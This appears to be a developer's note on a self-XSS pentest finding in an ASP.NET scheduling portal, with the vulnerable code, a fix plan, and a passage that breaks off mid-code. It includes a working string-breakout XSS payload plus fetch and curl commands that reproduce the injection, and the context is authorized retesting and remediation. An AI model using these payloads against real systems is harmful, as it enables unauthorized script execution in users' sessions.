Files
vault/Career/Microlise/Session Stored XSS PENTEST.html
Zaine 129ce1442b
Some checks failed
Build Quartz Notes / build (push) Failing after 20s
13
2026-07-13 09:16:09 +01:00

802 lines
39 KiB
HTML
Executable File
Raw Blame History

This file contains invisible Unicode characters
This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Session Stored XSS PENTEST.html</title>
<meta http-equiv="Content-Type" content="text/html;charset=utf-8"/>
</head>
<body>
<h1 id="links">Links:</h1>
<ul>
<li>[[Cross Site Scripting (XSS)]]</li>
</ul>
<h1 id="metadata">Metadata</h1>
<ul>
<li>Name<br />
Understanding Session XSS</li>
<li>Overview<br />
Pages 3334 document an informational “Session stored XSS” finding on
the TMC Schedule Execution Board. The issue is real (unescaped user
input in a JavaScript context) but impact is limited because only the
submitting users session is affected—classic self-XSS, not cross-user
attack.</li>
</ul>
<h2 id="todos">Todos</h2>
<ul class="task-list">
<li><label><input type="checkbox" checked="" />review-finding<br />
Read pages 3334 and map finding to SaveSearchCriteriaToSession +
ScheduleExecutionBoard.aspx flow</label></li>
<li><label><input type="checkbox" checked="" />locate-source<br />
Open TMC Web Portal repo and find session save + inline script render
for date/orderID/time</label></li>
<li><label><input type="checkbox" />remediate-encode<br />
Apply HttpUtility.JavaScriptStringEncode to all session values in
SetupControls() (~1849-1879)</label></li>
<li><label><input type="checkbox" />remediate-validate<br />
Add server-side validation in SaveSearchCriteriaToSession before writing
SEBSessionState</label></li>
<li><label><input type="checkbox" />remediate-retest<br />
Retest with direct POST payload + normal UI search flow on
ScheduleExecutionBoard</label></li>
</ul>
<h1
id="understanding-the-session-stored-xss-finding-pages-3334">Understanding
the Session Stored XSS Finding (Pages 3334)</h1>
<h2 id="where-this-sits-in-the-report">Where this sits in the
report</h2>
<p>The <a
href="d:/_dev/_misc/Pentest-04-26/Microlise%20TMC%20PO%20WA%20April%202026%20v1.0.pdf">Microlise
TMC PO WA April 2026 v1.0.pdf</a> lists <strong>14 findings</strong>
total. Pages 3334 (<a
href="d:/_dev/_misc/Pentest-04-26/33-34.pdf">33-34.pdf</a>) are the last
technical finding before “END OF DOCUMENT”:</p>
<table>
<colgroup>
<col style="width: 10%" />
<col style="width: 89%" />
</colgroup>
<thead>
<tr>
<th>Field</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>Title</td>
<td><strong>Session stored XSS</strong></td>
</tr>
<tr>
<td>Severity</td>
<td><strong>Informational</strong> (lowest tier; 4 informational
findings in the report)</td>
</tr>
<tr>
<td>Status</td>
<td>Open</td>
</tr>
<tr>
<td>CWE</td>
<td><a href="https://cwe.mitre.org/data/definitions/79.html">CWE-79</a>
— Improper Neutralization of Input</td>
</tr>
<tr>
<td>Environment</td>
<td><code>cert.microlise.com</code> (cert/UAT), path prefix
<code>/PENTEST/TMCWebPortal/</code></td>
</tr>
</tbody>
</table>
<p>Higher-severity items in the same report (SQLi, IDOR, BFLA, etc.) are
separate; this finding is documented as <strong>technically valid but
low business risk</strong>.</p>
<hr />
<h2 id="what-xss-is-general">What XSS is (general)</h2>
<p><strong>Cross-Site Scripting (XSS)</strong> means untrusted data ends
up in a web page in a way the <strong>browser treats as executable
JavaScript</strong>, instead of inert text.</p>
<p>The name “cross-site” is historical: classic attacks trick a
<strong>victim</strong> into loading a page on <strong>your</strong> app
so script runs in <strong>your</strong> origin (stealing session
cookies, performing actions as the user, etc.).</p>
<p>Common types:</p>
<table>
<colgroup>
<col style="width: 15%" />
<col style="width: 45%" />
<col style="width: 39%" />
</colgroup>
<thead>
<tr>
<th>Type</th>
<th>Persistence</th>
<th>Typical delivery</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Reflected</strong></td>
<td>Not stored; one-off response</td>
<td>Malicious link/query param</td>
</tr>
<tr>
<td><strong>Stored</strong></td>
<td>Saved server-side (DB, file, session)</td>
<td>Victim loads a normal page later</td>
</tr>
<tr>
<td><strong>DOM-based</strong></td>
<td>Client-side only</td>
<td>Unsafe innerHTML, eval, etc.</td>
</tr>
</tbody>
</table>
<p><strong>Defense in depth:</strong> validate input on the server
(whitelist formats), and <strong>encode output</strong> for the exact
context (HTML, attribute, JavaScript string, URL).</p>
<hr />
<h2 id="what-happened-in-this-finding-tmc-context">What happened in
<em>this</em> finding (TMC context)</h2>
<h3 id="affected-surface-source-located">Affected surface (source
located)</h3>
<table>
<colgroup>
<col style="width: 20%" />
<col style="width: 79%" />
</colgroup>
<thead>
<tr>
<th>Role</th>
<th>Path</th>
</tr>
</thead>
<tbody>
<tr>
<td>Page + inline JS</td>
<td><a
href="d:/_dev/WebPortal/src/code/AmberWebUI/SEB/ScheduleExecutionBoard.aspx">ScheduleExecutionBoard.aspx</a></td>
</tr>
<tr>
<td>WebMethod + page properties</td>
<td><a
href="d:/_dev/WebPortal/src/code/AmberWebUI/SEB/ScheduleExecutionBoard.aspx.cs">ScheduleExecutionBoard.aspx.cs</a></td>
</tr>
<tr>
<td>Session storage</td>
<td><a
href="d:/_dev/WebPortal/src/code/AmberWebUI/SEB/SEBSessionState.cs">SEBSessionState.cs</a></td>
</tr>
</tbody>
</table>
<ul>
<li><strong>Endpoint:</strong> ASP.NET <code>[WebMethod]</code>
<code>SaveSearchCriteriaToSession</code> on
<code>ScheduleExecutionBoard.aspx</code></li>
<li><strong>Parameters:</strong> JSON fields <code>date</code>,
<code>orderID</code>, <code>time</code> (also <code>searchID</code>,
<code>hours</code>, <code>quickSearch</code> in the same flow)</li>
<li><strong>Host (pentest):</strong> <code>cert.microlise.com</code>,
path <code>/PENTEST/TMCWebPortal/SEB/...</code></li>
</ul>
<h3 id="attack-flow-as-tested">Attack flow (as tested)</h3>
<pre class="mermaid"><code>flowchart LR
subgraph submit [Step1_Submit]
A[Tester sends POST directly]
B[SaveSearchCriteriaToSession]
C[Values stored in server session]
end
subgraph render [Step2_Render]
D[User loads ScheduleExecutionBoard.aspx]
E[Server embeds session values in script block]
F[Browser executes unescaped JS]
end
A --&gt; B --&gt; C
C --&gt; D --&gt; E --&gt; F</code></pre>
<ol type="1">
<li><strong>Save:</strong> User (or tester) POSTs JSON to
<code>SaveSearchCriteriaToSession</code>. The app saves search criteria
into the <strong>server-side session</strong>.</li>
<li><strong>Render:</strong> On the next load of
<code>ScheduleExecutionBoard.aspx</code>, those values are written into
the HTML <strong>inside a <code>&lt;script&gt;</code> block</strong>, as
JavaScript string literals.</li>
<li><strong>Bug:</strong> Values are inserted <strong>without JavaScript
string encoding</strong>. A crafted <code>date</code> can <strong>break
out of the string</strong> and run arbitrary JS.</li>
<li><strong>Proof:</strong> Pentesters confirmed execution in the
browser; screenshots in the PDF show the POST and page source.</li>
</ol>
<h3 id="code-path-matches-report-exactly">Code path (matches report
exactly)</h3>
<p><strong>1. Save — no server-side validation</strong></p>
<div class="sourceCode" id="cb2"><pre
class="sourceCode csharp"><code class="sourceCode cs"><span id="cb2-1"><a href="#cb2-1" aria-hidden="true" tabindex="-1"></a><span class="co">// ScheduleExecutionBoard.aspx.cs lines 336-348</span></span>
<span id="cb2-2"><a href="#cb2-2" aria-hidden="true" tabindex="-1"></a><span class="op">[</span>WebMethod<span class="op">]</span></span>
<span id="cb2-3"><a href="#cb2-3" aria-hidden="true" tabindex="-1"></a><span class="kw">public</span> <span class="kw">static</span> <span class="dt">void</span> <span class="fu">SaveSearchCriteriaToSession</span><span class="op">(</span><span class="dt">string</span> searchID<span class="op">,</span> <span class="dt">string</span> orderID<span class="op">,</span> <span class="dt">string</span> date<span class="op">,</span> <span class="dt">string</span> time<span class="op">,</span> <span class="dt">int</span> hours<span class="op">,</span> <span class="dt">bool</span> displayPriorityJourneys<span class="op">,</span> <span class="dt">string</span> quickSearch<span class="op">)</span></span>
<span id="cb2-4"><a href="#cb2-4" aria-hidden="true" tabindex="-1"></a><span class="op">{</span></span>
<span id="cb2-5"><a href="#cb2-5" aria-hidden="true" tabindex="-1"></a> <span class="dt">var</span> sebState <span class="op">=</span> <span class="kw">new</span> <span class="fu">SEBSessionState</span><span class="op">();</span></span>
<span id="cb2-6"><a href="#cb2-6" aria-hidden="true" tabindex="-1"></a> sebState<span class="op">.</span><span class="fu">ComplexSearch</span> <span class="op">=</span> searchID<span class="op">;</span></span>
<span id="cb2-7"><a href="#cb2-7" aria-hidden="true" tabindex="-1"></a> sebState<span class="op">.</span><span class="fu">OrderBy</span> <span class="op">=</span> orderID<span class="op">;</span></span>
<span id="cb2-8"><a href="#cb2-8" aria-hidden="true" tabindex="-1"></a> sebState<span class="op">.</span><span class="fu">SearchDate</span> <span class="op">=</span> date<span class="op">;</span></span>
<span id="cb2-9"><a href="#cb2-9" aria-hidden="true" tabindex="-1"></a> sebState<span class="op">.</span><span class="fu">SearchTime</span> <span class="op">=</span> time<span class="op">;</span></span>
<span id="cb2-10"><a href="#cb2-10" aria-hidden="true" tabindex="-1"></a> <span class="co">// ...</span></span>
<span id="cb2-11"><a href="#cb2-11" aria-hidden="true" tabindex="-1"></a><span class="op">}</span></span></code></pre></div>
<p><strong>2. Persist — per-user ASP.NET session</strong></p>
<p><a
href="d:/_dev/WebPortal/src/code/AmberWebUI/SEB/SEBSessionState.cs">SEBSessionState.cs</a>
stores values under keys <code>dateID</code>, <code>timeID</code>,
<code>orderByID</code>.</p>
<p><strong>3. Load — on next full page GET</strong></p>
<div class="sourceCode" id="cb3"><pre
class="sourceCode csharp"><code class="sourceCode cs"><span id="cb3-1"><a href="#cb3-1" aria-hidden="true" tabindex="-1"></a><span class="co">// ScheduleExecutionBoard.aspx.cs lines 267-277</span></span>
<span id="cb3-2"><a href="#cb3-2" aria-hidden="true" tabindex="-1"></a><span class="kw">private</span> <span class="dt">void</span> <span class="fu">SetupControls</span><span class="op">()</span></span>
<span id="cb3-3"><a href="#cb3-3" aria-hidden="true" tabindex="-1"></a><span class="op">{</span></span>
<span id="cb3-4"><a href="#cb3-4" aria-hidden="true" tabindex="-1"></a> <span class="dt">var</span> sebState <span class="op">=</span> <span class="kw">new</span> <span class="fu">SEBSessionState</span><span class="op">();</span></span>
<span id="cb3-5"><a href="#cb3-5" aria-hidden="true" tabindex="-1"></a> SessionOrderID <span class="op">=</span> sebState<span class="op">.</span><span class="fu">OrderBy</span><span class="op">;</span></span>
<span id="cb3-6"><a href="#cb3-6" aria-hidden="true" tabindex="-1"></a> SessionDate <span class="op">=</span> sebState<span class="op">.</span><span class="fu">SearchDate</span><span class="op">;</span></span>
<span id="cb3-7"><a href="#cb3-7" aria-hidden="true" tabindex="-1"></a> SessionTime <span class="op">=</span> sebState<span class="op">.</span><span class="fu">SearchTime</span><span class="op">;</span></span>
<span id="cb3-8"><a href="#cb3-8" aria-hidden="true" tabindex="-1"></a> <span class="co">// ...</span></span>
<span id="cb3-9"><a href="#cb3-9" aria-hidden="true" tabindex="-1"></a><span class="op">}</span></span></code></pre></div>
<p><strong>4. Render — vulnerable inline JavaScript (root
cause)</strong></p>
<div class="sourceCode" id="cb4"><pre
class="sourceCode javascript"><code class="sourceCode javascript"><span id="cb4-1"><a href="#cb4-1" aria-hidden="true" tabindex="-1"></a><span class="co">// ScheduleExecutionBoard.aspx lines 1853-1875</span></span>
<span id="cb4-2"><a href="#cb4-2" aria-hidden="true" tabindex="-1"></a><span class="cf">if</span> (<span class="st">&quot;&lt;%=SessionDate%&gt;&quot;</span>) {</span>
<span id="cb4-3"><a href="#cb4-3" aria-hidden="true" tabindex="-1"></a> <span class="fu">$</span>(<span class="st">&#39;#txtStart&#39;</span>)<span class="op">.</span><span class="fu">val</span>(<span class="st">&quot;&lt;%= SessionDate %&gt;&quot;</span>)<span class="op">;</span></span>
<span id="cb4-4"><a href="#cb4-4" aria-hidden="true" tabindex="-1"></a>}</span>
<span id="cb4-5"><a href="#cb4-5" aria-hidden="true" tabindex="-1"></a><span class="cf">if</span> (<span class="st">&quot;&lt;%=SessionTime%&gt;&quot;</span>) {</span>
<span id="cb4-6"><a href="#cb4-6" aria-hidden="true" tabindex="-1"></a> <span class="fu">$</span>(<span class="st">&#39;#inputtime&#39;</span>)<span class="op">.</span><span class="fu">val</span>(<span class="st">&quot;&lt;%=SessionTime%&gt;&quot;</span>)<span class="op">;</span></span>
<span id="cb4-7"><a href="#cb4-7" aria-hidden="true" tabindex="-1"></a>}</span>
<span id="cb4-8"><a href="#cb4-8" aria-hidden="true" tabindex="-1"></a><span class="cf">if</span> (<span class="st">&quot;&lt;%=SessionOrderID%&gt;&quot;</span>) {</span>
<span id="cb4-9"><a href="#cb4-9" aria-hidden="true" tabindex="-1"></a> <span class="fu">$</span>(orderBySelector <span class="op">+</span> <span class="st">&#39; option[value=&quot;&lt;%=SessionOrderID%&gt;&quot;]&#39;</span>)<span class="op">.</span><span class="fu">attr</span>(<span class="st">&#39;selected&#39;</span><span class="op">,</span> <span class="st">&#39;selected&#39;</span>)<span class="op">;</span></span>
<span id="cb4-10"><a href="#cb4-10" aria-hidden="true" tabindex="-1"></a>}</span></code></pre></div>
<p>Example payload in session:
<code>"); alert(document.domain); //</code></p>
<div class="sourceCode" id="cb5"><pre
class="sourceCode javascript"><code class="sourceCode javascript"><span id="cb5-1"><a href="#cb5-1" aria-hidden="true" tabindex="-1"></a><span class="fu">$</span>(<span class="st">&#39;#txtStart&#39;</span>)<span class="op">.</span><span class="fu">val</span>(<span class="st">&quot;&quot;</span>)<span class="op">;</span> <span class="fu">alert</span>(<span class="bu">document</span><span class="op">.</span><span class="at">domain</span>)<span class="op">;</span> <span class="co">//&quot;);</span></span></code></pre></div>
<p><strong>Related:</strong> <code>QuickSearch</code> at line ~1879 —
fix in the same pass.</p>
<h3 id="why-stored-session-and-self-xss">Why “stored”, “session”, and
“self-XSS”</h3>
<ul>
<li><strong>Stored:</strong> Payload survives page navigation in
<strong>session state</strong>.</li>
<li><strong>Self-XSS:</strong> Only the submitters session is affected;
no normal cross-user path.</li>
<li>Severity <strong>Informational</strong> because threat model is weak
vs shared stored XSS.</li>
</ul>
<h3 id="client-vs-server-validation-gap">Client vs server validation
gap</h3>
<p>Pentesters bypassed browser validation via direct POST. No
server-side validation blocked arbitrary strings.</p>
<hr />
<h2 id="replicating-the-vulnerability-hands-on">Replicating the
vulnerability (hands-on)</h2>
<p>Use this section to <strong>see the bug work</strong> on an
authorized environment (e.g. cert/UAT), then <strong>repeat the same
steps after fixes</strong> and compare outcomes.</p>
<h3 id="prerequisites">Prerequisites</h3>
<table>
<colgroup>
<col style="width: 20%" />
<col style="width: 80%" />
</colgroup>
<thead>
<tr>
<th>Requirement</th>
<th>Detail</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Authorization</strong></td>
<td>Pentest scope or internal security test policy only</td>
</tr>
<tr>
<td><strong>Permission</strong></td>
<td><code>Microlise:TMC:SEB:Read</code></td>
</tr>
<tr>
<td><strong>URL</strong></td>
<td>e.g. <code>https://&lt;host&gt;/TMCWebPortal/SEB/ScheduleExecutionBoard.aspx</code></td>
</tr>
<tr>
<td><strong>Tools</strong></td>
<td>Browser + DevTools or Burp Suite</td>
</tr>
<tr>
<td><strong>Build</strong></td>
<td>Before-fix build first; redeploy with remediation for after-fix
runs</td>
</tr>
</tbody>
</table>
<p>Must be logged in (valid session cookie on POST).</p>
<h3 id="what-you-should-observe-before-fix">What you should observe
(before fix)</h3>
<pre class="mermaid"><code>sequenceDiagram
participant You as Tester_browser
participant API as SaveSearchCriteriaToSession
participant Sess as ASP.NET_session
participant Page as ScheduleExecutionBoard_GET
You-&gt;&gt;API: POST JSON with malicious date
API-&gt;&gt;Sess: Store raw date in session
You-&gt;&gt;Page: Reload SEB page
Page-&gt;&gt;You: HTML with unescaped date inside script
You-&gt;&gt;You: alert or other JS runs</code></pre>
<ol type="1">
<li>WebMethod returns HTTP 200.</li>
<li>Payload never went through <code>DateValidation()</code>.</li>
<li>Full page reload → JS runs (e.g. <code>alert</code>).</li>
<li>View Source: payload inside double-quoted JS string, unescaped.</li>
</ol>
<p><strong>Self-XSS:</strong> only your session is poisoned.</p>
<h3 id="step-by-step-reproduction">Step-by-step reproduction</h3>
<p><strong>Step 1 — Baseline (optional)</strong></p>
<ol type="1">
<li>Open SEB, perform a search.</li>
<li>DevTools → Network → <code>SaveSearchCriteriaToSession</code>.</li>
<li>Note POST, <code>application/json</code>, body shape, Cookie
header.</li>
</ol>
<p><strong>Step 2 — Inject via direct POST (bypass UI)</strong></p>
<table>
<thead>
<tr>
<th>Parameter</th>
<th>Suggested test value</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>searchID</code></td>
<td><code>0.X</code></td>
</tr>
<tr>
<td><code>orderID</code></td>
<td><code>0.X</code></td>
</tr>
<tr>
<td><code>date</code></td>
<td><code>"); alert(document.domain);//</code></td>
</tr>
<tr>
<td><code>time</code></td>
<td><code>00:00</code></td>
</tr>
<tr>
<td><code>hours</code></td>
<td><code>24</code></td>
</tr>
<tr>
<td><code>displayPriorityJourneys</code></td>
<td><code>false</code></td>
</tr>
<tr>
<td><code>quickSearch</code></td>
<td><code>""</code></td>
</tr>
</tbody>
</table>
<p><strong>Burp:</strong> Repeater → replace JSON body → send.</p>
<p><strong>Browser console</strong> (on SEB page, same origin):</p>
<div class="sourceCode" id="cb7"><pre
class="sourceCode javascript"><code class="sourceCode javascript"><span id="cb7-1"><a href="#cb7-1" aria-hidden="true" tabindex="-1"></a><span class="fu">fetch</span>(<span class="st">&#39;ScheduleExecutionBoard.aspx/SaveSearchCriteriaToSession&#39;</span><span class="op">,</span> {</span>
<span id="cb7-2"><a href="#cb7-2" aria-hidden="true" tabindex="-1"></a> <span class="dt">method</span><span class="op">:</span> <span class="st">&#39;POST&#39;</span><span class="op">,</span></span>
<span id="cb7-3"><a href="#cb7-3" aria-hidden="true" tabindex="-1"></a> <span class="dt">credentials</span><span class="op">:</span> <span class="st">&#39;include&#39;</span><span class="op">,</span></span>
<span id="cb7-4"><a href="#cb7-4" aria-hidden="true" tabindex="-1"></a> <span class="dt">headers</span><span class="op">:</span> { <span class="st">&#39;Content-Type&#39;</span><span class="op">:</span> <span class="st">&#39;application/json; charset=utf-8&#39;</span> }<span class="op">,</span></span>
<span id="cb7-5"><a href="#cb7-5" aria-hidden="true" tabindex="-1"></a> <span class="dt">body</span><span class="op">:</span> <span class="bu">JSON</span><span class="op">.</span><span class="fu">stringify</span>({</span>
<span id="cb7-6"><a href="#cb7-6" aria-hidden="true" tabindex="-1"></a> <span class="dt">searchID</span><span class="op">:</span> <span class="st">&#39;0.X&#39;</span><span class="op">,</span></span>
<span id="cb7-7"><a href="#cb7-7" aria-hidden="true" tabindex="-1"></a> <span class="dt">orderID</span><span class="op">:</span> <span class="st">&#39;0.X&#39;</span><span class="op">,</span></span>
<span id="cb7-8"><a href="#cb7-8" aria-hidden="true" tabindex="-1"></a> <span class="dt">date</span><span class="op">:</span> <span class="st">&#39;&quot;); alert(document.domain);//&#39;</span><span class="op">,</span></span>
<span id="cb7-9"><a href="#cb7-9" aria-hidden="true" tabindex="-1"></a> <span class="dt">time</span><span class="op">:</span> <span class="st">&#39;00:00&#39;</span><span class="op">,</span></span>
<span id="cb7-10"><a href="#cb7-10" aria-hidden="true" tabindex="-1"></a> <span class="dt">hours</span><span class="op">:</span> <span class="dv">24</span><span class="op">,</span></span>
<span id="cb7-11"><a href="#cb7-11" aria-hidden="true" tabindex="-1"></a> <span class="dt">displayPriorityJourneys</span><span class="op">:</span> <span class="kw">false</span><span class="op">,</span></span>
<span id="cb7-12"><a href="#cb7-12" aria-hidden="true" tabindex="-1"></a> <span class="dt">quickSearch</span><span class="op">:</span> <span class="st">&#39;&#39;</span></span>
<span id="cb7-13"><a href="#cb7-13" aria-hidden="true" tabindex="-1"></a> })</span>
<span id="cb7-14"><a href="#cb7-14" aria-hidden="true" tabindex="-1"></a>})<span class="op">.</span><span class="fu">then</span>(r <span class="kw">=&gt;</span> <span class="bu">console</span><span class="op">.</span><span class="fu">log</span>(<span class="st">&#39;status&#39;</span><span class="op">,</span> r<span class="op">.</span><span class="at">status</span>))<span class="op">;</span></span></code></pre></div>
<p><strong>curl</strong> (replace host, path, cookies):</p>
<div class="sourceCode" id="cb8"><pre
class="sourceCode bash"><code class="sourceCode bash"><span id="cb8-1"><a href="#cb8-1" aria-hidden="true" tabindex="-1"></a><span class="ex">curl</span> <span class="at">-s</span> <span class="at">-o</span> /dev/null <span class="at">-w</span> <span class="st">&quot;%{http_code}&quot;</span> <span class="dt">\</span></span>
<span id="cb8-2"><a href="#cb8-2" aria-hidden="true" tabindex="-1"></a> <span class="at">-X</span> POST <span class="st">&quot;https://&lt;host&gt;/&lt;TMCWebPortal&gt;/SEB/ScheduleExecutionBoard.aspx/SaveSearchCriteriaToSession&quot;</span> <span class="dt">\</span></span>
<span id="cb8-3"><a href="#cb8-3" aria-hidden="true" tabindex="-1"></a> <span class="at">-H</span> <span class="st">&quot;Content-Type: application/json; charset=utf-8&quot;</span> <span class="dt">\</span></span>
<span id="cb8-4"><a href="#cb8-4" aria-hidden="true" tabindex="-1"></a> <span class="at">-H</span> <span class="st">&quot;Cookie: &lt;paste-session-cookies&gt;&quot;</span> <span class="dt">\</span></span>
<span id="cb8-5"><a href="#cb8-5" aria-hidden="true" tabindex="-1"></a> <span class="at">-d</span> <span class="st">&quot;{</span><span class="dt">\&quot;</span><span class="st">searchID</span><span class="dt">\&quot;</span><span class="st">:</span><span class="dt">\&quot;</span><span class="st">0.X</span><span class="dt">\&quot;</span><span class="st">,</span><span class="dt">\&quot;</span><span class="st">orderID</span><span class="dt">\&quot;</span><span class="st">:</span><span class="dt">\&quot;</span><span class="st">0.X</span><span class="dt">\&quot;</span><span class="st">,</span><span class="dt">\&quot;</span><span class="st">date</span><span class="dt">\&quot;</span><span class="st">:</span><span class="dt">\&quot;\\\&quot;</span><span class="st">); alert(document.domain);//</span><span class="dt">\&quot;</span><span class="st">,</span><span class="dt">\&quot;</span><span class="st">time</span><span class="dt">\&quot;</span><span class="st">:</span><span class="dt">\&quot;</span><span class="st">00:00</span><span class="dt">\&quot;</span><span class="st">,</span><span class="dt">\&quot;</span><span class="st">hours</span><span class="dt">\&quot;</span><span class="st">:24,</span><span class="dt">\&quot;</span><span class="st">displayPriorityJourneys</span><span class="dt">\&quot;</span><span class="st">:false,</span><span class="dt">\&quot;</span><span class="st">quickSearch</span><span class="dt">\&quot;</span><span class="st">:</span><span class="dt">\&quot;\&quot;</span><span class="st">}&quot;</span></span></code></pre></div>
<p><strong>Step 3 — Trigger render (stored XSS)</strong></p>
<ol type="1">
<li>Full navigation reload of <code>ScheduleExecutionBoard.aspx</code>
(F5).</li>
<li><code>SetupControls()</code> embeds session <code>date</code>
(~lines 18541855).</li>
</ol>
<p><strong>Step 4 — Confirm</strong></p>
<table>
<colgroup>
<col style="width: 19%" />
<col style="width: 80%" />
</colgroup>
<thead>
<tr>
<th>Check</th>
<th>Before fix (expected)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Popup / console</td>
<td><code>alert(document.domain)</code> runs</td>
</tr>
<tr>
<td>View Source</td>
<td>Literal <code>"); alert(...)</code> inside
<code>$('#txtStart').val("...")</code> unescaped</td>
</tr>
<tr>
<td>Network on reload</td>
<td>Normal GET only; XSS from inline script</td>
</tr>
<tr>
<td>Other users</td>
<td>No effect (different session)</td>
</tr>
</tbody>
</table>
<p><strong>Step 5 — Optional:</strong> malicious <code>time</code> or
<code>orderID</code>.</p>
<p><strong>Step 6 — Clean up:</strong> log out/in or POST valid
date/time.</p>
<h3 id="comparison-matrix-before-vs-after-fixes">Comparison matrix
(before vs after fixes)</h3>
<p>Run the same Steps 24 after each change:</p>
<table>
<colgroup>
<col style="width: 33%" />
<col style="width: 10%" />
<col style="width: 20%" />
<col style="width: 22%" />
<col style="width: 13%" />
</colgroup>
<thead>
<tr>
<th>Observation</th>
<th>Before fix</th>
<th>After encoding only</th>
<th>After validation only</th>
<th>After both</th>
</tr>
</thead>
<tbody>
<tr>
<td>POST malicious <code>date</code> accepted?</td>
<td>Yes (200)</td>
<td>Yes (200)</td>
<td>No / not stored</td>
<td>No</td>
</tr>
<tr>
<td><code>alert</code> on reload?</td>
<td><strong>Yes</strong></td>
<td><strong>No</strong></td>
<td>Depends*</td>
<td><strong>No</strong></td>
</tr>
<tr>
<td>Executable JS in View Source?</td>
<td><strong>Yes</strong></td>
<td><strong>No</strong> (escaped)</td>
<td>Depends*</td>
<td><strong>No</strong></td>
</tr>
<tr>
<td><code>#txtStart</code> shows attack text?</td>
<td>Maybe</td>
<td>Escaped/safe</td>
<td>Default/empty</td>
<td>Default/empty</td>
</tr>
<tr>
<td>Normal UI search + reload works?</td>
<td>Yes</td>
<td>Yes</td>
<td>Yes</td>
<td>Yes</td>
</tr>
</tbody>
</table>
<p>*If only validation: reload may show no XSS without encoding — still
apply both fixes.</p>
<h3 id="why-ui-only-testing-misses-the-bug">Why UI-only testing misses
the bug</h3>
<table>
<colgroup>
<col style="width: 35%" />
<col style="width: 32%" />
<col style="width: 32%" />
</colgroup>
<thead>
<tr>
<th>Path</th>
<th><code>DateValidation()</code> runs?</th>
<th>Payload reaches session?</th>
</tr>
</thead>
<tbody>
<tr>
<td>Click Search in UI</td>
<td>Yes</td>
<td>No (normal typing)</td>
</tr>
<tr>
<td>Direct POST / Burp / fetch</td>
<td><strong>No</strong></td>
<td><strong>Yes</strong></td>
</tr>
</tbody>
</table>
<p>Reproduction <strong>must</strong> use direct POST to match the
pentest.</p>
<h3 id="evidence-to-capture-for-fix-sign-off">Evidence to capture (for
fix sign-off)</h3>
<ol type="1">
<li>Request (POST body with payload).</li>
<li>Screenshot of alert (before) or no alert (after).</li>
<li>View Source snippet around <code>$('#txtStart').val(</code>.</li>
<li>Regression: legitimate date, reload, criteria restored.</li>
</ol>
<h3 id="safety-and-scope">Safety and scope</h3>
<ul>
<li>No production without approval.</li>
<li>Prefer <code>alert(document.domain)</code> over exfiltration
demos.</li>
<li>Self-XSS: coding defect demo, not mass compromise.</li>
</ul>
<hr />
<h2 id="how-to-fix-it">How to fix it</h2>
<p>Use <strong>two layers</strong>: output encoding + server-side
validation.</p>
<h3 id="fix-1-output-encoding-required">Fix 1 — Output encoding
(required)</h3>
<p>File: <a
href="d:/_dev/WebPortal/src/code/AmberWebUI/SEB/ScheduleExecutionBoard.aspx">ScheduleExecutionBoard.aspx</a>,
<code>SetupControls()</code> (~18471884).</p>
<table>
<thead>
<tr>
<th>Line (approx)</th>
<th>Field</th>
<th>Encode</th>
</tr>
</thead>
<tbody>
<tr>
<td>18491850</td>
<td>SessionSearchID</td>
<td>Yes</td>
</tr>
<tr>
<td>18541855</td>
<td>SessionDate</td>
<td>Yes</td>
</tr>
<tr>
<td>18601861</td>
<td>SessionTime</td>
<td>Yes</td>
</tr>
<tr>
<td>18721874</td>
<td>SessionOrderID</td>
<td>Yes</td>
</tr>
<tr>
<td>18781879</td>
<td>QuickSearch</td>
<td>Yes</td>
</tr>
</tbody>
</table>
<p><strong>Before:</strong></p>
<div class="sourceCode" id="cb9"><pre
class="sourceCode javascript"><code class="sourceCode javascript"><span id="cb9-1"><a href="#cb9-1" aria-hidden="true" tabindex="-1"></a><span class="fu">$</span>(<span class="st">&#39;#txtStart&#39;</span>)<span class="op">.</span><span class="fu">val</span>(<span class="st">&quot;&lt;%= SessionDate %&gt;&quot;</span>)<span class="op">;</span></span></code></pre></div>
<p><strong>After:</strong></p>
<div class="sourceCode" id="cb10"><pre
class="sourceCode javascript"><code class="sourceCode javascript"><span id="cb10-1"><a href="#cb10-1" aria-hidden="true" tabindex="-1"></a><span class="fu">$</span>(<span class="st">&#39;#txtStart&#39;</span>)<span class="op">.</span><span class="fu">val</span>(<span class="st">&quot;&lt;%= HttpUtility.JavaScriptStringEncode(SessionDate ?? string.Empty) %&gt;&quot;</span>)<span class="op">;</span></span></code></pre></div>
<p>Encode <code>if</code> guards too, or use code-behind booleans
(<code>HasSessionDate</code>).</p>
<h3 id="fix-2-server-side-input-validation">Fix 2 — Server-side input
validation</h3>
<p>File: <a
href="d:/_dev/WebPortal/src/code/AmberWebUI/SEB/ScheduleExecutionBoard.aspx.cs">ScheduleExecutionBoard.aspx.cs</a>,
<code>SaveSearchCriteriaToSession</code> (~337).</p>
<table>
<thead>
<tr>
<th>Parameter</th>
<th>Validation rule</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>date</code></td>
<td>Same regex as client <code>DateValidation()</code></td>
</tr>
<tr>
<td><code>time</code></td>
<td><code>^[0-2][0-9]:[0-5][0-9]$</code></td>
</tr>
<tr>
<td><code>orderID</code></td>
<td><code>^[0-9]+(\.X)?$</code></td>
</tr>
<tr>
<td><code>searchID</code></td>
<td>Same as <code>orderID</code></td>
</tr>
<tr>
<td><code>hours</code></td>
<td>Clamp 1999</td>
</tr>
</tbody>
</table>
<div class="sourceCode" id="cb11"><pre
class="sourceCode csharp"><code class="sourceCode cs"><span id="cb11-1"><a href="#cb11-1" aria-hidden="true" tabindex="-1"></a><span class="op">[</span>WebMethod<span class="op">]</span></span>
<span id="cb11-2"><a href="#cb11-2" aria-hidden="true" tabindex="-1"></a><span class="kw">public</span> <span class="kw">static</span> <span class="dt">void</span> <span class="fu">SaveSearchCriteriaToSession</span><span class="op">(...)</span></span>
